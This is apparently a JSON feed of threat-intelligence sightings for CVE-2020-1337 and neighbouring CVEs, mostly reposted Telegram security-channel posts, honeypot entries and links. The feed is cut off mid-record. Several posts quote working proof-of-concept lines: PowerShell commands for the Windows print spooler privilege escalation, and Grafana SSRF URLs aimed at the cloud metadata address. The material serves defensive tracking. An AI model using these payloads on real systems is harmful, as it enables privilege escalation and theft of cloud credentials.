{"vulnerability": "cve-2020-1337", "sightings": [{"uuid": "3bb3ce47-caf1-4c89-9afa-602c91f40dd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "seen", "source": "MISP/61d5601d-105b-446b-bd1b-9ca53e073728", "content": "", "creation_timestamp": "2024-11-14T06:07:37.000000Z"}, {"uuid": "0f7dc53a-8bd3-4f7d-9d58-dedf032048cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:44.000000Z"}, {"uuid": "56a08b08-fa4b-420c-b30c-1c00c597529e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:23.000000Z"}, {"uuid": "735ab90c-9e7b-4679-ad96-3672709740ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-09)", "content": "", "creation_timestamp": "2025-03-09T00:00:00.000000Z"}, {"uuid": "385478a7-0ec8-4b3d-9c39-2aa12f7d27c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-24)", "content": "", "creation_timestamp": "2025-03-24T00:00:00.000000Z"}, {"uuid": "a9508ade-7494-414d-abeb-82788d211c30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/cve_2020_1337_printerdemon.rb", "content": "", "creation_timestamp": "2021-01-15T18:21:17.000000Z"}, {"uuid": "59da4623-b494-44cf-a8ff-7742a5928c17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "published-proof-of-concept", "source": "https://t.me/cKure/1791", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 CVE-2020-1337 is CVE-2020-1048 (aka PrintDemon) with a TOCTOU.\n\nPoC:\nmkdir C:\\test\nAdd-PrinterPort -Name c:\\test\\ualapi.dll\nNew-Item -Type Junction -Path C:\\test -Value C:\\Windows\\System32\n\nhttps://voidsec.com/cve-2020-1337-printdemon-is-dead-long-live-printdemon/", "creation_timestamp": "2020-08-11T20:41:51.000000Z"}, {"uuid": "b2e3fbf3-8129-411f-be04-dff6f2e7dfee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "published-proof-of-concept", "source": "https://t.me/cKure/1649", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 CVE-2020-13379: Unauthenticated SSRF in Grafana\n\nhttps://rhynorater.github.io/CVE-2020-13379-Write-Up\n\nPoC 1: avatar/tesdt%3Fd=http://redirect.rhynorater.com%25253f%253b%http://252fbp.blogspot.com%252f169.254.169.254\n\nPoC 2: \navatar/0%3fd%3dhttps%3A%252F%252F${BURPCOL}%25253A443%25253f%http://252Fimgur.com%252F", "creation_timestamp": "2020-08-03T04:31:10.000000Z"}, {"uuid": "c9da99e6-f8d5-49f6-bfc0-9eb48ca8d970", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "published-proof-of-concept", "source": "https://t.me/cKure/10284", "content": "\u25a0\u25a0\u25a0\u25a1\u25a1 CVE-2020-13379: Unauthenticated Full-Read SSRF in Grafana.\n\nhttps://rhynorater.github.io/CVE-2020-13379-Write-Up", "creation_timestamp": "2022-10-06T05:30:26.000000Z"}, {"uuid": "7415de70-e577-437d-a1cb-6a4a7aedabf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13377", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2920", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2020-13377\n\ud83d\udd39 Description: The web-services interface of Loadbalancer.org Enterprise VA MAX through 8.3.8 could allow an authenticated, remote, low-privileged attacker to conduct directory traversal attacks and obtain read and write access to sensitive files.\n\ud83d\udccf Published: 2023-05-12T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-24T15:49:36.413Z\n\ud83d\udd17 References:\n1. https://www.loadbalancer.org/products/virtual/enterprise-va-max/\n2. https://inf0seq.github.io/cve/2020/04/21/Path-Traversal-in-Enterprise-loadbalancer-VA-MAX-v8.3.8-and-earlier.html", "creation_timestamp": "2025-01-24T16:04:42.000000Z"}, {"uuid": "a40f0ef2-5e06-4dd6-81d6-08cae299d0da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13378", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2922", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2020-13378\n\ud83d\udd39 Description: Loadbalancer.org Enterprise VA MAX through 8.3.8 has an OS Command Injection vulnerability that allows a remote authenticated attacker to execute arbitrary code.\n\ud83d\udccf Published: 2023-05-12T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-24T15:46:55.115Z\n\ud83d\udd17 References:\n1. https://www.loadbalancer.org/products/virtual/enterprise-va-max/\n2. https://inf0seq.github.io/cve/2020/04/21/OS.html", "creation_timestamp": "2025-01-24T16:04:44.000000Z"}, {"uuid": "18f3a2a7-501d-4dbf-958b-9959451e5e82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "published-proof-of-concept", "source": "https://t.me/infosec1z/47", "content": "\ud83d\udd30Top 10 vulnerabilities in 2020:\n\n 1. CVE-2020-12720: vBulletin SQL Injection (OWASP 1: Injection)\n\n 2. CVE-2020-5902: F5 BIG IP RCE and LFI (OWASP 1: Injection)\n\n\ud83c\udfa5 CVE PoC videos\n\nhttps://youtu.be/-ppzdYDk-ZM\n\nhttps://youtube.com/playlist?list=PLiVfOzljj-46iFcif16qMaPP84ZxCZ4Mb\n\n\n\n 3. CVE-2020-15506: MobileIron Core Authentication Bypass\n (OWASP 2: Broken Authentication)\n\n 4. CVE-2020-14882: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 5. CVE-2020-14750: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 6. CVE-2020-17530: Apache Struts 2 RCE (OWASP 1: Injection)\n\n\ud83c\udfa5 CVE PoC videos\n\nhttps://youtu.be/MUAAwijvAe8\n\n\n 7. CVE-2020-2551: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 8. CVE-2020-13379: Grafana SSRF\n (OWASP 3: Broken Access Control)\n\n 9. CVE-2020-1147: Microsoft SharePoint Server RCE\n (OWASP 1: Injection)\n\n 10. CVE-2020-8209: Citrix XenMobile Server Path Traversal\n (OWASP 3: Broken Access Control)\n\n\n\u2796\u2796 @infosec1z \u2796\u2796", "creation_timestamp": "2021-09-05T16:58:17.000000Z"}, {"uuid": "0c27864f-7d72-4def-9b8c-390a8bd630d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "seen", "source": "https://t.me/proxy_bar/748", "content": "Windows Privilege Escalation: SpoolFool\n\u041f\u0430\u0442\u0447\u0438\u043b\u0438, \u0444\u0438\u043a\u0441\u0438\u043b\u0438  CVE-2020-1048 \u0438  CVE-2020-1337, \u0430 \u0434\u044b\u0440\u0430 \u043e\u0441\u0442\u0430\u043b\u0430\u0441\u044c.\n\u041e\u0442\u043b\u0438\u0447\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2022-21999 (\u00abSpoolFool\u00bb) \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0440\u0430\u0432\u0430 NT AUTHORITY\\\\SYSTEM. \u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u044b 2 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430 \u0430\u0442\u0430\u043a\u0438. \n\u041a\u0430\u043a \u043f\u0440\u043e\u043b\u0435\u0437\u0442\u044c \u0432 \u043c\u0438\u0440 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u043e\u0432 \u0431\u0435\u0437 \u0432\u0430\u0437\u0435\u043b\u0438\u043d\u0430, \u0440\u0430\u0441\u0441\u043a\u0430\u0436\u0435\u0442 \u0440\u0430\u0441\u043e\u0432\u043e \u0432\u0435\u0440\u043d\u044b\u0439 \u0438\u043d\u0434\u0443\u0441 Harshit Rajpal\n\u0427\u0438\u0442\u0430\u0435\u043c \u0442\u0443\u0442.\n#windows #LPE", "creation_timestamp": "2022-03-25T16:36:11.000000Z"}, {"uuid": "e58f8cfa-762c-4422-a355-4e83571e5a4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "published-proof-of-concept", "source": "Telegram/Uoa-03OsM6RXf0msSgaaKWDiagq8ZDgbKZrQ7CTvgTImxA", "content": "", "creation_timestamp": "2020-09-09T06:35:17.000000Z"}, {"uuid": "b35f1d19-d46d-409c-9a41-3a7ca888f57a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "seen", "source": "https://t.me/reverseame/431", "content": "CVE-2020-1337 \u2013 PrintDemon is dead, long live PrintDemon! https://voidsec.com/cve-2020-1337-printdemon-is-dead-long-live-printdemon/", "creation_timestamp": "2026-07-30T00:02:53.115051Z"}, {"uuid": "9fe97f95-6e38-4796-b920-db157993e62a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13377", "type": "seen", "source": "https://t.me/cibsecurity/63996", "content": "\u203c CVE-2020-13377 \u203c\n\nThe web-services interface of Loadbalancer.org Enterprise VA MAX through 8.3.8 could allow an authenticated, remote, low-privileged attacker to conduct directory traversal attacks and obtain read and write access to sensitive files.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T14:26:49.000000Z"}, {"uuid": "f15075eb-8be7-4540-93a3-b6290839fa24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "seen", "source": "https://t.me/reverse_dungeon/1515", "content": "Windows Privilege Escalation: SpoolFool\n\u041f\u0430\u0442\u0447\u0438\u043b\u0438, \u0444\u0438\u043a\u0441\u0438\u043b\u0438  CVE-2020-1048 \u0438  CVE-2020-1337, \u0430 \u0434\u044b\u0440\u0430 \u043e\u0441\u0442\u0430\u043b\u0430\u0441\u044c.\n\u041e\u0442\u043b\u0438\u0447\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2022-21999 (\u00abSpoolFool\u00bb) \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0440\u0430\u0432\u0430 NT AUTHORITY\\\\SYSTEM. \u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u044b 2 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430 \u0430\u0442\u0430\u043a\u0438. \n\u041a\u0430\u043a \u043f\u0440\u043e\u043b\u0435\u0437\u0442\u044c \u0432 \u043c\u0438\u0440 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u043e\u0432 \u0431\u0435\u0437 \u0432\u0430\u0437\u0435\u043b\u0438\u043d\u0430, \u0440\u0430\u0441\u0441\u043a\u0430\u0436\u0435\u0442 \u0440\u0430\u0441\u043e\u0432\u043e \u0432\u0435\u0440\u043d\u044b\u0439 \u0438\u043d\u0434\u0443\u0441 Harshit Rajpal\n\u0427\u0438\u0442\u0430\u0435\u043c \u0442\u0443\u0442.\n#windows #LPE", "creation_timestamp": "2022-03-25T16:16:29.000000Z"}, {"uuid": "19352223-c66b-430f-a04b-f843b9ac0103", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/561", "content": "CVE-2020-1337 Microsoft Spooler \u672c\u5730\u6b0a\u9650\u63d0\u5347\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2020-1337_Microsoft_Spooler_%E6%9C%AC%E5%9C%B0%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-05-31T04:07:35.000000Z"}, {"uuid": "6c7098a0-7e8b-4f8b-9ee3-03ea68ce5c96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "published-proof-of-concept", "source": "https://t.me/HackerOne/2688", "content": "https://github.com/VoidSec/CVE-2020-1337", "creation_timestamp": "2020-08-12T22:24:03.000000Z"}, {"uuid": "83c88915-bea5-42ef-983c-f8b00bf26059", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "seen", "source": "https://t.me/SecLabNews/8336", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\u00a0\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438\u00a0\u0441\u043f\u043e\u0441\u043e\u0431 \u043e\u0431\u043e\u0439\u0442\u0438 \u043f\u0430\u0442\u0447, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Microsoft \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (\u00a0CVE-2020-1048\u00a0) \u0432 \u0441\u043b\u0443\u0436\u0431\u0430\u0445 \u043f\u0435\u0447\u0430\u0442\u0438 Windows, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438 \u041f\u0435\u043b\u0435\u0433\u043e\u043c \u0425\u0430\u0434\u0430\u0440\u043e\u043c (Peleg Hadar) \u0438 \u0422\u043e\u043c\u0435\u0440\u043e\u043c \u0411\u0430\u0440\u043e\u043c (Tomer Bar) \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 SafeBreach Labs. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440 \u043e\u0447\u0435\u0440\u0435\u0434\u0438 \u043f\u0435\u0447\u0430\u0442\u0438 Windows, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c \u043f\u0435\u0447\u0430\u0442\u0438. \u041e\u0431\u0445\u043e\u0434 \u044d\u0442\u043e\u0439 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d \u043a\u0430\u043a \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 (CVE-2020-1337)\n\n\nhttps://www.securitylab.ru/news/510910.php", "creation_timestamp": "2020-08-13T19:18:01.000000Z"}, {"uuid": "2a71ccff-c108-492a-b6e3-5c22d0772f69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "published-proof-of-concept", "source": "https://t.me/thebugbountyhunter/4526", "content": "CVE-2020-13379\nUnauthenticated Full-Read SSRF in Grafana https://rhynorater.github.io/CVE-2020-13379-Write-Up", "creation_timestamp": "2020-08-01T19:07:21.000000Z"}, {"uuid": "1c368812-4b15-4d82-9c2a-5c36b8525240", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "exploited", "source": "https://t.me/CyberSecurityTechnologies/1515", "content": "#exploit\nCVE-2020-13379:\nUnauthenticated Full-Read SSRF in Grafana 3.0.1 - 7.0.1\nhttps://rhynorater.github.io/CVE-2020-13379-Write-Up\nPoC:\n/avatar/tesdt%3Fd=http://redirect.rhynorater.com%25253f%253b%http://252fbp.blogspot.com%252f169.254.169.254", "creation_timestamp": "2021-10-27T03:12:46.000000Z"}, {"uuid": "87055aa1-0e42-43e6-b761-0f0bb9045bf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3104", "content": "#Analytics\n10 most exploited vulnerabilities of the week (April 5-11)\nCVE-2021-26855 - ProxyLogon MS Exchange Srv RCE\nhttps://t.me/cybersecuritytechnologies/2835\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\nhttps://t.me/cybersecuritytechnologies/1515\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\nCVE-2021-26411 - IE mshtml UAF\nhttps://t.me/cybersecuritytechnologies/2908\nCVE-2021-3129 - Laravel debug RCE\nhttps://t.me/cybersecuritytechnologies/2557\nCVE-2021-26708 - LPE in the Linux kernel &lt;5.10.x\nhttps://github.com/jordan9001/vsock_poc\nCVE-2020-16040 - V8 JIT Compiler Bug\nhttps://t.me/cybersecuritytechnologies/2450\nCVE-2021-21982 - SSRF in VMWare\nhttps://t.me/cybersecuritytechnologies/3039\nCVE-2021-21402 - UAF read in Jellyfin\nhttps://t.me/cybersecuritytechnologies/3064\nCVE-2021-29154 - BPF JIT bug\nhttps://www.openwall.com/lists/oss-security/2021/04/08/1", "creation_timestamp": "2021-04-12T11:01:12.000000Z"}, {"uuid": "c374bfdd-c16b-4327-831c-c7d256433d38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/1571", "content": "CVE-2020-1337 is CVE-2020-1048 (aka PrintDemon)\nwith a bypass of PrintDemon\u2019s recent patch via a Junction Directory (TOCTOU)\nPoC:\nmkdir C:\\test\nAdd-PrinterPort -Name c:\\test\\ualapi.dll\nNew-Item -Type Junction -Path C:\\test -Value C:\\Windows\\System32\n1. https://voidsec.com/cve-2020-1337-printdemon-is-dead-long-live-printdemon/\n2. https://www.zerodayinitiative.com/blog/2020/8/11/windows-print-spooler-patch-bypass-re-enables-persistent-backdoor", "creation_timestamp": "2020-08-12T11:03:01.000000Z"}, {"uuid": "1d046c07-529a-4735-8a66-93c893a1d366", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3159", "content": "#Analytics\n10 most exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\nhttps://t.me/cybersecuritytechnologies/1515\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\nhttps://t.me/cybersecuritytechnologies/3124\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\nhttps://t.me/cybersecuritytechnologies/3126\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\nhttps://t.me/cybersecuritytechnologies/3156", "creation_timestamp": "2021-04-19T11:01:18.000000Z"}, {"uuid": "bbe51f93-838f-4bd1-b59d-7d455d7399bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3279", "content": "#Analytics\nTop 10 Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\nhttps://t.me/cybersecuritytechnologies/1515\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\nCVE-2021-22893 Pulse SecureVPN RCE\nhttps://t.me/cybersecuritytechnologies/3185\nCVE-2021-28310 - Win32k EoP Vulnerability\nhttps://t.me/cybersecuritytechnologies/3124\nCVE-2021-26411 - IE mshtml UAF\nhttps://t.me/cybersecuritytechnologies/2908\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\nhttps://t.me/cybersecuritytechnologies/3126\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\nhttps://t.me/cybersecuritytechnologies/3156\nCVE-2021-28480/28482 - MS Exchange Server RCE\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2024-04-30T17:11:44.000000Z"}, {"uuid": "99b0b623-77b8-42c0-b6c8-16e15ca762a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13376", "type": "seen", "source": "https://t.me/cibsecurity/13984", "content": "ATENTION\u203c New - CVE-2020-13376\n\nSecurEnvoy SecurMail 9.3.503 allows attackers to upload executable files and achieve OS command execution via a crafted SecurEnvoyReply cookie.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-08-08T00:55:26.000000Z"}, {"uuid": "8e41e07c-c4f1-4693-8260-20253d86ba93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/431", "content": "CVE-2020-1337 \u2013 PrintDemon is dead, long live PrintDemon! https://voidsec.com/cve-2020-1337-printdemon-is-dead-long-live-printdemon/", "creation_timestamp": "2026-08-03T15:00:04.502257Z"}, {"uuid": "1aebe0a0-712f-4a15-acd8-1e9547763526", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/431", "content": "CVE-2020-1337 \u2013 PrintDemon is dead, long live PrintDemon! https://voidsec.com/cve-2020-1337-printdemon-is-dead-long-live-printdemon/", "creation_timestamp": "2026-08-04T00:00:34.592454Z"}, {"uuid": "44b66e1d-2263-42cb-a741-759fd0481656", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-04)", "content": "", "creation_timestamp": "2026-06-04T00:00:00.000000Z"}, {"uuid": "e4629901-d96b-4e07-9dd4-0f84520a6740", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-05)", "content": "", "creation_timestamp": "2026-06-05T00:00:00.000000Z"}, {"uuid": "55b20713-f78a-46a6-97cc-dfeae41042d2", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/68c50e2d-a257-4964-b407-0625222fb0a9", "content": "", "creation_timestamp": "2026-06-19T12:45:10.425248Z"}, {"uuid": "351411d3-2a98-435a-bd4a-299b65eb8f59", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/73366142-054d-4d1e-8170-3e4a801ce7c7", "content": "", "creation_timestamp": "2026-06-23T14:03:01.340937Z"}, {"uuid": "b2068223-9c9d-4aba-a192-1c561f0adff7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-23)", "content": "", "creation_timestamp": "2026-06-23T00:00:00.000000Z"}, {"uuid": "121ddd03-0c5d-4460-a852-0515af97d059", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2020-13379", "type": "exploited", "source": 